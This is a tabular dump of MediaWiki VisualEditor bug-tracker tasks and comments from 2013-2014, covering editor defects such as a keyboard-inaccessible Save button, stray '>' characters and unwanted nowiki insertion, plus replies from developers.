+234852,VisualEditor tests fail due to introductory beta disclaimer popup,Should this be closed since 80709 is merged into master?,,,1377780987,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-5gtyq6ebthpfjdmqjbyu,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+234846,VisualEditor tests fail due to introductory beta disclaimer popup,"(In reply to comment #3)
+> Why is VE using an iframe for this?  (and using iframes in general?)
+For the welcome message, we don't technically need to use an iframe. In that case we just use an iframe because all of our other dialogs use iframes.
+
+In general, we use iframes for dialogs and inspectors because we need to be able to have two selections at the same time. For instance, when you inspect a link, the link is selected, but you also have a cursor in the text field in the inspector. Because you can only have one selection in any given HTML document, we need the edit surface and the text field to be in different documents, and so we put the text field (along with most of the rest of the inspector) in an iframe.
+
+Dialogs use iframes for similar reasons: when the user interacts with UI elements in the dialog, that needs to not affect their selection in the edit surface. The welcome dialog doesn't have any elements that can steal the focus or selection so it's not an issue there, but since it uses the generic dialog code it's automatically in an iframe.",,,1377568185,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-5gtyq6ebthpfjdmqjbyu,task_subcomment,,True,c1,3,False,,,8,,1,0,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,1,1,1,1,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,1,1
+234838,VisualEditor tests fail due to introductory beta disclaimer popup,"When it shows up on test2 and/or beta I'll dismiss it in the test. 
+
+Why is VE using an iframe for this?  (and using iframes in general?)",,,1377554145,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-5gtyq6ebthpfjdmqjbyu,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+234831,VisualEditor tests fail due to introductory beta disclaimer popup,Also note that the beta welcome message will be rolled out to all wikis soon.,,,1377553601,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5gtyq6ebthpfjdmqjbyu,task_subcomment,,True,c1,3,True,,,8,,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+234825,VisualEditor tests fail due to introductory beta disclaimer popup,"
+I've been running these tests against test2wiki, which doesn't have that problem.  https://gerrit.wikimedia.org/r/#/c/80709/ should make it possible to run these against beta labs now that VE seems to be deployed there reliably",,,1377553370,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-5gtyq6ebthpfjdmqjbyu,task_subcomment,,True,c1,3,False,,,8,,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+55280,"VisualEditor: add a wikilink to tags, the final inequality sign (>) is lost","User report following:
+<<If I start with a blank page, type in ""<br>"", select the entire text, press the link icon, select say ""France"" as the link, upon exiting the link dialog I am left with a link to [[France]] but the anchor is shortened to ""<b"".</nowiki>  I don't get any ""Wikitext markup detected"" warning. >>
+This is true for other tags as well (I tried with <b>).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1377286560,1397676516.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-6fqslp7awofcsqlxxg2u,task_description,declined,True,c1,3,False,False,False,7,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+233982,"VisualEditor: add a wikilink to tags, the final inequality sign (>) is lost",This was fixed ages ago; sorry for not mentioning it here. (Please re-open if you can reproduce.),,,1397676516,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-6fqslp7awofcsqlxxg2u,task_subcomment,,True,c1,3,True,,,41,,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+233976,"VisualEditor: add a wikilink to tags, the final inequality sign (>) is lost","(Sorry, that </nowiki> shouldn't be there, of course.)",,,1377286725,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-6fqslp7awofcsqlxxg2u,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+55262,VisualEditor is inserting greater than signs (>),"While I was fixing a simple grammatical error, VE threw in a > sign at the start of a template further down the page thus breaking the template.
+
+https://en.wikipedia.org/w/index.php?title=Tesla_Model_S&diff=next&oldid=569876875
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1377279060,1394480185.0,PHID-USER-fwlidikyeorzj35hufwu,False,,False,PHID-TASK-rnr44j25me5v5afzc5we,task_description,declined,True,c1,3,False,False,False,7,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+257902,VisualEditor is inserting greater than signs (>),"I /believe/ that this was a Parsoid selser bug, long-since fixed; marking as WORKSFORME for now.",,,1394480185,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rnr44j25me5v5afzc5we,task_subcomment,,True,c1,3,True,,,36,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+55257,VisualEditor: Unable to use save button using keyboard,"If I focus on the save button using [tab] from textarea, [enter] don’t save the page.
+
+Apparently the focus goes on the <div role=""button""> while the click event is listened on the span.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1377270420,1398102157.0,PHID-USER-5pyvkdz65d5h5vxebodc,False,,False,PHID-TASK-z4gyf5rhh3zawzwg3vor,task_description,resolved,True,c1,3,False,False,False,7,,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,1
+257387,VisualEditor: Unable to use save button using keyboard,"No, this bug as filed was indeed a duplicate of bug 51918. There's the subsequently-filed bug 62337 which tracks your comment.
+
+*** This bug has been marked as a duplicate of bug 51918 ***",,,1398102157,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-z4gyf5rhh3zawzwg3vor,task_subcomment,,True,c1,3,True,,,42,,0,0,0,1,0,0,1,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+257382,VisualEditor: Unable to use save button using keyboard,"I'm reopening this rather than creating a new one, because it's not exactly a problem with the tab order.
+
+Here's how to reproduce this:  Open the Save dialog.  Type your edit summary.  Press the tab key seven times.  Everything tabs beautifully, in exactly the order I wish for.  Really:  Bug 51918 is resolved as far as I'm concerned.  The problem is not the tab ORDER.  
+
+The problem is that when I have successfully tabbed to the Save button, the Save button is BROKEN.  The Save button is selected.  There is a lovely blue box around it.  But it refuses to actually save the page when you press return.  It just sits there until, having pressed return twenty or thirty times, gone away in the hope that the server is just being slow, come back and hit the return key another dozen times or so, you finally conclude that it is not actually possible to save the page without taking your hands off the keyboard.  
+
+That's the problem:  ""Unable to use save button using keyboard"".  No amount of rearranging the deck chairs, I mean the tab order, is going to solve this problem.  The button itself is broken, not the tab order.
+
+The tick boxes for ""Minor edit"" and ""Watch this page"" can be tabbed to and toggled with the spacebar.  The links to the GFDL and other license stuff can be tabbed to and opened by pressing return.  But the ""Review your changes"" and ""Save"" buttons are broken.  There is no way to ""click"" those buttons without actually using a mouse/trackpad.",,,1398102028,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-z4gyf5rhh3zawzwg3vor,task_subcomment,,True,c1,3,False,,,42,,0,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,0,1,1,1,0,0,0,0,1,1,0,1,1,1,1,0,1,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+257377,VisualEditor: Unable to use save button using keyboard,"Merging with bug 51918.
+
+*** This bug has been marked as a duplicate of bug 51918 ***",,,1378247189,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-z4gyf5rhh3zawzwg3vor,task_subcomment,,True,c1,3,True,,,9,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+257371,VisualEditor: Unable to use save button using keyboard,"**swalling** wrote:
+
+I also have this issue in Chrome 29 on OSX. Tabbing to Save page then hitting Enter does nada.",,,1378168841,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-z4gyf5rhh3zawzwg3vor,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+55210,VisualEditor: Changing the first letter of wikilinked words is difficult,"Seems I had written about it in an unrelated bug, sorry. This happens on itwp: in order to do this
+http://it.wikipedia.org/w/index.php?title=DNasi_attivata_da_caspasi&diff=60101664&oldid=60089990
+I had to delete the word and link it back again. Our guidelines about style
+require pages in that section to appear with the capital letter, so we need to be able to fix that easily.
+
+It is also reported on en.wp, the user states <<When trying to correct a lower-case letter to a capital letter at the beginning of a link, I deleted the lower-case letter and found I couldn't type a capital letter and have it become part of the link, nor could I seem to extend the link over the capital. Eventually, I typed the capital after the lower-case letter and then deleted the lower-case letter. It might be good to have some way to extend a link over adjoining letters/words/text. Mount Flatten (talk) 05:31, 22 August 2013 (UTC) >>
+Thanks.
+
+ps. Might be related to https://bugzilla.wikimedia.org/show_bug.cgi?id=50745 .
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50745",Needs Triage,90.0,1377174060,1377445650.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-kecuajpgt5rzhwm6db3u,task_description,resolved,True,c1,3,False,False,True,7,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+254279,VisualEditor: Changing the first letter of wikilinked words is difficult,"
+
+*** This bug has been marked as a duplicate of bug 50678 ***",,,1377445650,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-kecuajpgt5rzhwm6db3u,task_subcomment,,True,c1,3,False,,,7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+254275,VisualEditor: Changing the first letter of wikilinked words is difficult,*** Bug 53193 has been marked as a duplicate of this bug. ***,,,1377279290,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-kecuajpgt5rzhwm6db3u,task_subcomment,,True,c1,3,True,,,7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+254269,VisualEditor: Changing the first letter of wikilinked words is difficult,pps. Also to https://bugzilla.wikimedia.org/show_bug.cgi?id=53193 .,,,1377186898,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-kecuajpgt5rzhwm6db3u,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+55205,VisualEditor: can't fix a broken template since this will result invisible,"See http://en.wikipedia.org/w/index.php?title=User:Christian75/sandbox2&oldid=569697466 .
+If you edit the page with VE you won't see the broken template at all.
+Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1377164100,1397676723.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-lpapd5tkeo4vhxavi7m5,task_description,declined,True,c1,3,False,False,False,7,,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+254024,VisualEditor: can't fix a broken template since this will result invisible,"Essentially the problem here is ""broken wikitext produces confusion""; there's not really anything that we can do except encourage people to use VisualEditor rather than wikitext where such errors are possible.",,,1397676723,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-lpapd5tkeo4vhxavi7m5,task_subcomment,,True,c1,3,True,,,41,,0,1,0,0,1,1,1,0,0,0,0,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0
+55201,"VisualEditor: Need way to insert templates that set both key and value for a parameter into a template invocation, like {{subst:DATE}}","Currently there is no way to use {{subst:DATE}} in a template invocation in VisualEditor. If you try to paste it into the value of a date field, it won't work because you get
+
+|date = date=August 2013
+
+which won't parse.
+
+VisualEditor should actually set the date automatically, always, for such templates (e.g. refimprove).
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52345",Needs Triage,90.0,1377157620,1377904404.0,PHID-USER-bug3zrlooz3bdmi4fyl7,False,,False,PHID-TASK-in5fzrgdn5o7nk5vzdej,task_description,declined,True,c1,3,False,False,True,7,,0,0,0,0,1,1,1,1,0,1,1,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+253847,"VisualEditor: Need way to insert templates that set both key and value for a parameter into a template invocation, like {{subst:DATE}}","Yes(In reply to comment #0)
+> Currently there is no way to use {{subst:DATE}} in a template invocation in
+> VisualEditor. If you try to paste it into the value of a date field, it won't
+> work because you get
+> 
+> |date = date=August 2013
+> 
+> which won't parse.
+
+Yes. This is by design; templates that are designed around wikitext's structure won't work in general for editing. Note that ""{{subst:CURRENTDAY}} {{subst:CURRENTMONTHNAME}}"" works fine; auto-inserting this would solve the problem.
+
+> VisualEditor should actually set the date automatically, always, for such
+> templates (e.g. refimprove).
+
+I agree; that is bug 51428 (and its corresponding implementation in VisualEditor).",,,1377904404,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-in5fzrgdn5o7nk5vzdej,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,1,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+55190,VisualEditor: Links from a subpage are not rendered correctly in the editing surface,"If I add an unprefixed link to [[Main Page]] on
+
+https://www.mediawiki.org/wiki/Wikimedia_Engineering/WMF_Tech_Days_2013
+
+using VisualEditor, the link points to [[Wikimedia Engineering/Main Page]] when previewed in VisualEditor (by right-clicking and opening in a new tab). ""Review changes"" suggests that the correct link will be added when saving the page, so this issue may be limited to the editing surface.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1377130800,1377727533.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-wnlasenua7iwnzhgajgz,task_description,resolved,True,c1,3,False,False,True,7,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+253418,VisualEditor: Links from a subpage are not rendered correctly in the editing surface,"
+
+*** This bug has been marked as a duplicate of bug 48915 ***",,,1377727533,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-wnlasenua7iwnzhgajgz,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+55183,VisualEditor: nowiki when trying to edit an external link in references,"On de.WP, a user tried to replace an outdated link within an existing ref via VE and ran into a nowiki. 
+
+diff:
+
+http://de.wikipedia.org/w/index.php?title=Kin-dsa-dsa%21&diff=121506430&oldid=117367043
+
+report:
+
+http://de.wikipedia.org/w/index.php?title=Wikipedia:Technik/Text/Edit/VisualEditor/Beta2013-07&oldid=121759646#nowiki_bei_unbeschriftetem_Link
+
+I could reproduce that; the previous is showing it prior to saving, too.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1377124920,1412470303.0,PHID-USER-wswkm7jrcwes3tc7o34k,True,,False,PHID-TASK-6fktzxq6di35ahdf6gf4,task_description,resolved,True,c1,3,False,False,False,7,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+253135,VisualEditor: nowiki when trying to edit an external link in references,"(In reply to Amir E. Aharoni from comment #2)
+> I cannot reproduce this with the current version of the article, which has
+> similar content.
+
+I can confirm that I could previously reproduce and this is now fixed; not quite sure where or when.
+
+> When trying to edit the old version of the article I get a strange result: I
+> don't see the external links in the reference editor at all.
+
+Yeah; that's very odd. Have filed bug 71652.",,,1412470303,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-6fktzxq6di35ahdf6gf4,task_subcomment,,True,c1,3,True,,,65,,1,0,1,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+253129,VisualEditor: nowiki when trying to edit an external link in references,"I cannot reproduce this with the current version of the article, which has similar content.
+
+When trying to edit the old version of the article I get a strange result: I don't see the external links in the reference editor at all.",,,1412445538,,PHID-USER-xfe43w2lb5gpvglf4coa,True,,,PHID-TASK-6fktzxq6di35ahdf6gf4,task_subcomment,,True,c1,3,False,,,65,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+253122,VisualEditor: nowiki when trying to edit an external link in references,"Confirmed
+
+Steps to reproduce:
+1. https://de.wikipedia.org/w/index.php?title=Kin-dsa-dsa!&oldid=117367043&veaction=edit
+2. open the ref dialog for the last ref in the first paragraph of section 'Video'
+3. open link dialog for the first external link
+4. replace http://kinocenter.rsuh.ru/Dan2.htm with http://wayback.archive.org/web/20080603185657/http://kinocenter.rsuh.ru/Dan2.htm
+
+Expected results:
+Only the URL changes
+
+Actual results:
+<nowiki>[1]</nowiki> is inserted
+
+Reproduced on a much smaller test case here:
+https://de.wikipedia.org/w/index.php?title=Benutzer:John_Vandenberg/test&diff=123052743&oldid=123052686",,,1380638685,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-6fktzxq6di35ahdf6gf4,task_subcomment,,True,c1,3,False,,,13,,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,1,0,1
+55166,Cannot enter multiple authors in cite web template,"When I add a reference and add a template of type ""cite web"" in the reference, the template only allows me to enter a single author last name and a single author first name. To enter multiple authors I'm supposed to use the attributes ""last1, first1 through last9, first9 for up to nine authors"", but VisualEditor doesn't seem to offer the possibility of adding these attributes.
+
+There is an ""others"" field, but this is only supposed to be used for people who are neither authors nor editors, e.g. illustrators.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**OS**: Linux
+**Platform**: PC",Needs Triage,90.0,1377110520,1377114222.0,PHID-USER-bug3zrlooz3bdmi4fyl7,False,,False,PHID-TASK-oeqdjrsyoun6qoc3mib4,task_description,invalid,True,c1,3,False,False,True,7,,0,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+252241,Cannot enter multiple authors in cite web template,"This is a failing in the TemplateData that has been written for the template - it seems that the author of the template's hinting didn't bother to put in last1-9 or first1-9.
+
+However, despite the lack of hinting, you can enter these in VisualEditor (just manually type in 'first1' as a parameter, add it, set a value, repeat for 'last1', and so on for each additional author). It's very laborious, which is why this should be fixed in the template's TemplateData, but not an issue with VisualEditor.",,,1377114222,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oeqdjrsyoun6qoc3mib4,task_subcomment,,True,c1,3,True,,,7,,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+55114,VisualEditor: Removal of template when adding reference list,"Screencast
+
+When trying to add a new section and a reference list an existing template (defaultsort) gets removed, see screencast attachment.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11699}",Needs Triage,90.0,1377029340,1416183797.0,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,False,PHID-TASK-dit32vs3thukzudalngg,task_description,resolved,True,c1,3,False,False,False,7,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+249347,VisualEditor: Removal of template when adding reference list,Cannot reproduce. This must have been fixed at some point. I wonder if it was a Parsoid issue...,,,1416183797,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-dit32vs3thukzudalngg,task_subcomment,,True,c1,3,True,,,72,,1,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+249343,VisualEditor: Removal of template when adding reference list,Does this still happen?,,,1414811151,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-dit32vs3thukzudalngg,task_subcomment,,True,c1,3,True,,,69,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,1,0,0,0
+54910,"""edit lead section"" link incorrectly points to second section","**Author:** `sumanah`
+
+**Description:**
